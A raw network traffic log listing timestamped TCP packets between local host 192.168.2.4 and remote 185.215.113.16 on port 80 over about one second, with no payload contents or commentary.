Oct 26, 2024 05:54:29.618092060 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.618257046 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.620243073 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.654607058 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.654642105 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.654692888 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.654704094 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.704672098 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.704703093 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.704755068 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.704765081 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.704790115 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.704828978 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.704858065 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.704859972 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.704873085 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.755352020 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.778192997 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.778286934 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.778322935 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.778357029 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.778408051 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.778460026 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.778476000 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.778476000 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.778511047 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.778546095 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.778578997 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.778642893 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.778642893 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.778671980 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.778754950 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.778759003 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.778789997 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.778871059 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.778903008 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.778928041 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.778934956 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.778975010 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.779234886 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.779294014 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.779370070 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.779398918 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.779450893 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.779462099 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.779479980 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.779556990 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.816062927 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.816087961 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.816103935 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.816158056 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.866178036 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.866271019 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.866302013 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.866336107 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.866372108 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.866408110 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.866411924 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.866411924 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.868262053 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.939624071 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.939671993 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.939727068 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.939749002 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.939760923 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.939795017 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.939830065 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.939866066 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.939868927 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.939915895 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.940011978 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.940063000 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.940092087 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.940116882 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.940145016 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.940177917 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.940192938 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.940212965 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.940270901 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.940438032 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.940490007 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.940522909 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.940556049 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.940556049 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.940562010 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.940593958 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.940680027 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.940881014 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.990394115 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.160310030 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.160356998 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.160371065 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.160382986 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.160397053 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.160409927 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.160423994 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.160438061 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.160460949 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.160489082 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.160621881 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.160635948 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.160650969 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.160662889 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.160676956 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.160686016 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.160691977 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.160706043 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.160711050 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.160722017 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.160768032 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.160780907 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.160794973 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.160798073 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.160809040 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.160824060 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.160871983 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.160902023 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.160917044 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.160931110 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.160947084 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.160960913 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.160976887 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.160984039 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.160991907 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.161009073 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.161035061 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.161065102 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.161065102 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.161065102 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.161065102 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.189059019 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.189095020 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.189110041 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.189126015 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.189140081 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.189158916 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.189398050 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.192207098 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.262600899 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.262636900 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.262671947 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.262701035 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.262763977 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.262797117 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.262823105 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.262830973 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.262862921 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.262897015 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.262897015 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.262931108 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.262964010 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.263034105 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.263067007 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.263109922 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.263135910 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.263170958 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.263204098 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.263204098 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.263253927 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.263406038 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.263463020 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.263498068 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.263519049 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.263530970 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.263576031 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.299642086 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.299671888 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.299704075 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.299736977 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.299875975 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.299875975 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.350317955 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.350394011 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.350446939 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.350466967 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.350481033 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.350516081 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.350543976 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.350632906 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.350632906 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.423604012 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.423635960 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.423655987 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.423758030 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.423788071 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.423820972 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.423840046 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.423861027 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.423891068 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.423932076 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.423940897 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.423974991 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.424021006 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.424026012 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.424058914 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.424093008 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.424105883 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.424206972 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.424417019 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.424480915 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.424508095 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.424529076 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.424561977 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.424572945 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.424823046 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.424855947 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.424875975 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.424890041 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.424935102 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.461000919 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.461091042 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.461124897 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.461141109 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.505466938 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.511384010 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.511470079 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.511545897 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.511595964 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.511631966 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.511667013 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.511735916 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.511735916 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.511735916 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.584909916 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.585078955 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.585155964 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.585167885 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.585194111 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.585227013 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.585242987 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.585263968 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.585294008 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.585304022 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.585330009 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.585385084 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.585391998 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.585418940 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.585453033 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.585460901 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.585751057 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.585787058 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.585799932 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.585820913 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.585853100 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.585860968 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.586009026 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.586069107 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.586076021 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.586108923 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.586143017 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.586153984 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.622241974 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.622312069 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.622340918 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.622345924 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.622381926 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.622386932 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.672930002 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.672998905 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.673026085 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.673032999 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.673080921 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.673084021 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.673115015 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.673146963 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.673158884 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.673182964 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.673211098 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.673223019 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.724092007 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.746232986 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.746300936 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.746335983 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.746395111 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.746423960 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.746438026 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.746462107 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.746476889 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.746490002 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.746500015 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.746572018 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.746606112 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.746613979 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.746639967 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.746686935 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.746711016 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.746809959 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.746844053 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.746851921 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.746953011 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.747000933 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.747001886 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.747035027 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.747068882 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.747092962 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.747484922 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.747522116 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.747541904 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.784611940 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.784687996 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.784717083 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.784723043 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.784770966 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.834222078 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.834294081 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.834340096 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.834378958 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.834412098 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.834445953 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.834459066 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.834480047 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.834527016 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.907572985 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.907612085 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.907646894 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.907660961 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.907675982 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.907717943 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.907777071 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.907807112 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.907840014 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.907852888 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.907890081 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.907922983 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.907931089 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.907972097 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.908006907 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.908096075 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.908123970 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.908171892 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.908190012 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.908240080 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.908282995 CEST	49742	80	192.168.2.4	185.215.113.16
